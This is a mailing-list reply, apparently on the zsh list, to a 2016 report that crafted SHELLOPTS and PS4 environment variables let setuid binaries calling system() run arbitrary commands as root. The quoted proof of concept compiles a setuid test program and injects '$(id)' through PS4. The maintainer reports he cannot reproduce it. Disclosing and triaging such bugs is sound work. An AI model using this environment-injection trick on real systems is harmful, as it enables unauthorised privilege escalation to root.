Re: BUG: crafting SHELLOPTS and PS4 allows to run arbitrary programs in setuid binaries using system

[Daniel Shahaf <d.s@xxxxxxxxxxxxxxxxxx>]

Mateusz Lenik wrote on Tue, Sep 27, 2016 at 06:59:18 +0000:
> % gcc -xc - -otest <<< 'int main() { setuid(0); system("/bin/date"); }'
> % sudo chown root:root test
> % sudo chmod 4755 test
> % env -i SHELLOPTS=xtrace PS4='$(id)' ./test
> uid=0(root) gid=... groups=.../bin/date
> Tue Sep 27 08:49:16 CEST 2016

I can't reproduce that either either 5.0.7 or latest master, even with
«setopt promptsubst» in effect.  (Does it reproduce in 'zsh -f'?)

> % zsh --version
> 
> zsh 5.2 (x86_64-pc-linux-gnu)
> %
> 
> The solution that bash folks implemented is to drop PS4 from env when the
> shell is ran as root.

34015 (89012cf94ca) stopped importing non-ASCII envvars.  There may have
been other changes in this area but I couldn't quickly find them.

Thanks for the report,

Daniel